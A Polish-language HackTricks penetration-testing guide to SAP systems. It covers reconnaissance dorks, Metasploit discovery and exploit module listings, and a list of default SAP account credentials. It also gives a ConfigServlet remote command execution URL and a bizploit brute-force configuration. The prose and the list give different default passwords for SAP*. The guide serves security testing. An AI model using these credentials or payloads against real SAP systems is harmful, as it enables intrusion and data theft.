25 KiB
Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.
{% embed url="https://websec.nl/" %}
Wprowadzenie do SAP
SAP oznacza Systemy, Aplikacje i Produkty w Przetwarzaniu Danych. SAP, z definicji, jest również nazwą oprogramowania ERP Enterprise Resource Planning
oraz nazwą firmy.
System SAP składa się z kilku w pełni zintegrowanych modułów, które obejmują praktycznie każdy aspekt zarządzania firmą.
Każda instancja SAP lub SID
składa się z trzech warstw: bazy danych, aplikacji i prezentacji), każdy krajobraz zwykle składa się z czterech instancji: dev, test, QA i produkcyjnej.
Każda z warstw może być wykorzystana w pewnym stopniu, ale największy efekt można osiągnąć, atakując bazę danych.
Każda instancja SAP jest podzielona na klientów. Każdy ma użytkownika SAP*, odpowiednik "roota" aplikacji.
Po początkowym utworzeniu, ten użytkownik SAP* otrzymuje domyślne hasło: "060719992" więcej domyślnych haseł poniżej
.
Byłbyś zaskoczony, gdybyś wiedział, jak często te hasła nie są zmieniane w środowiskach testowych lub deweloperskich!
Spróbuj uzyskać dostęp do powłoki dowolnego serwera, używając nazwy użytkownika <SID>adm. Atak brutalny może pomóc, jednak może istnieć mechanizm blokady konta.
Odkrywanie
Następna sekcja pochodzi głównie z https://github.com/shipcod3/mySapAdventures od użytkownika shipcod3!
- Sprawdź Zakres Aplikacji lub Opis Programu do testowania. Zanotuj nazwy hostów lub instancje systemowe do połączenia z SAP GUI.
- Użyj OSINT
open source intelligence
, Shodan i Google Dorks, aby sprawdzić pliki, subdomeny i cenne informacje, jeśli aplikacja jest wystawiona na Internet lub publiczna:
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine
- Oto jak wygląda http://SAP:50000/irj/portal
- Użyj nmap do sprawdzenia otwartych portów i znanych usług
routery sap, webdnypro, usługi sieciowe, serwery www, itp.
- Przeczesz adresy URL, jeśli działa na nich serwer WWW.
- Przeprowadź fuzzing katalogów
możesz użyć Burp Intruder
, jeśli działa na nich serwer WWW na określonych portach. Oto kilka dobrych list słów dostarczonych przez projekt SecLists do znajdowania domyślnych ścieżek SAP ICM oraz innych interesujących katalogów lub plików:
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt
- Użyj dodatkowego modułu Metasploit SAP SERVICE DISCOVERY do wyliczania instancji/usług/komponentów SAP:
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
Testowanie Thick Client / SAP GUI
Oto polecenie do połączenia z SAP GUI
sapgui <nazwa hosta serwera SAP> <numer systemu>
- Sprawdź domyślne dane uwierzytelniające
W taksonomii oceny podatności Bugcrowd, jest to uważane za P1 -> Błąd konfiguracji zabezpieczeń serwera \| Użycie domyślnych danych uwierzytelniających \| Serwer produkcyjny
:
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
- Uruchom Wireshark, a następnie uwierzytelnij się w kliencie
SAP GUI
przy użyciu uzyskanych poświadczeń, ponieważ niektórzy klienci przesyłają poświadczenia bez SSL. Istnieją dwa znane wtyczki do Wiresharka, które potrafią analizować główne nagłówki używane przez protokół SAP DIAG: wtyczka analizy SecureAuth Labs SAP oraz wtyczka SAP DIAG opracowana przez Positive Research Center. - Sprawdź eskalacje uprawnień, takie jak korzystanie z niektórych kodów transakcji SAP
tcodes
dla użytkowników o niskich uprawnieniach:- SU01 - Do tworzenia i zarządzania użytkownikami
- SU01D - Do wyświetlania użytkowników
- SU10 - Do masowej konserwacji
- SU02 - Do ręcznego tworzenia profili
- SM19 - Audyt bezpieczeństwa - konfiguracja
- SE84 - System informacyjny uprawnień SAP R/3
- Sprawdź, czy możesz wykonywać polecenia systemowe / uruchamiać skrypty w kliencie.
- Sprawdź, czy możesz przeprowadzić atak XSS na eksploratorze BAPI
Testowanie interfejsu internetowego
- Przeczeszaj adresy URL
patrz faza odkrywania
. - Testuj adresy URL tak jak w fazie odkrywania. Oto jak wygląda http://SAP:50000/index.html:
- Szukaj powszechnych podatności internetowych
Odniesienie do OWASP Top 10
, ponieważ w niektórych miejscach występują podatności typu XSS, RCE, XXE, itp. - Zapoznaj się z metodologią Jasona Haddixa „Metodologia łowców błędów” do testowania podatności internetowych.
- Autoryzacja za pomocą manipulacji czasownikami? Być może :)
- Otwórz
http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#
, a następnie kliknij przycisk „Wybierz”, a następnie w otwartym oknie naciśnij „Szukaj”. Powinieneś zobaczyć listę użytkowników SAPOdniesienie do podatności: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)
- Czy poświadczenia są przesyłane przez HTTP? Jeśli tak, jest to uważane za P3 zgodnie z Taxonomią Ocen Podatności Bugcrowd: Uszkodzona Autoryzacja i Zarządzanie Sesjami | Słabe Logowanie Funkcji przez HTTP. Wskazówka: Sprawdź również http://SAP:50000/startPage lub portale logowania :)
- Spróbuj
/irj/go/km/navigation/
w celu ewentualnego listowania katalogów lub pominięcia uwierzytelnienia - http://SAP/sap/public/info zawiera pewne interesujące informacje:
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
<RFCSI>
<RFCPROTO>011</RFCPROTO>
<RFCCHARTYP>4102</RFCCHARTYP>
<RFCINTTYP>BIG</RFCINTTYP>
<RFCFLOTYP>IE3</RFCFLOTYP>
<RFCDEST>randomnum</RFCDEST>
<RFCHOST>randomnum</RFCHOST>
<RFCSYSID>BRQ</RFCSYSID>
<RFCDATABS>BRQ</RFCDATABS>
<RFCDBHOST>randomnum</RFCDBHOST>
<RFCDBSYS>ORACLE</RFCDBSYS>
<RFCSAPRL>740</RFCSAPRL>
<RFCMACH>324</RFCMACH>
<RFCOPSYS>AIX</RFCOPSYS>
<RFCTZONE>-25200</RFCTZONE>
<RFCDAYST/>
<RFCIPADDR>192.168.1.8</RFCIPADDR>
<RFCKERNRL>749</RFCKERNRL>
<RFCHOST2>randomnum</RFCHOST2>
<RFCSI_RESV/>
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
</RFCSI>
</rfc:RFC_SYSTEM_INFO.Response>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Atak!
- Sprawdź, czy działa na starych serwerach lub technologiach, takich jak Windows 2000.
- Zaplanuj możliwe wykorzystania / ataki, istnieje wiele modułów Metasploit do odkrywania SAP
moduły pomocnicze
i ataków:
msf > search sap
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
- Spróbuj użyć znanych exploitów
sprawdź Exploit-DB
lub ataków, takich jak stary, ale nadal skuteczny „SAP ConfigServlet Remote Code Execution” w portalu SAP:
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
- Przed uruchomieniem polecenia
start
na skrypcie bizploit w fazie Discovery, możesz również dodać następujące polecenie w celu przeprowadzenia oceny podatności:
bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start
Inne Przydatne Narzędzia do Testowania
- PowerSAP - Narzędzie Powershell do oceny bezpieczeństwa SAP
- Burp Suite - niezbędne do fuzzowania katalogów i oceny bezpieczeństwa sieciowego
- pysap - Biblioteka Pythona do tworzenia pakietów protokołu sieciowego SAP
- https://github.com/gelim/nmap-erpscan - Pomoc dla nmap w wykrywaniu SAP/ERP
Odnośniki
- Testowanie Przenikania SAP Za Pomocą Metasploita
- https://github.com/davehardy20/SAP-Stuff - skrypt do półautomatyzacji Bizploit
- Konfiguracja Bezpieczeństwa SAP NetWeaver ABAP, część 3: Domyślne hasła do dostępu do aplikacji
- Lista kodów transakcji ABAP związanych z bezpieczeństwem SAP
- Łamanie Portalu SAP
- 10 najciekawszych podatności i ataków w SAP
- Ocenianie bezpieczeństwa ekosystemów SAP za pomocą bizploit: Odkrywanie
- https://www.exploit-db.com/docs/43859
- https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/
- https://github.com/shipcod3/mySapAdventures
{% embed url="https://websec.nl/" %}
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.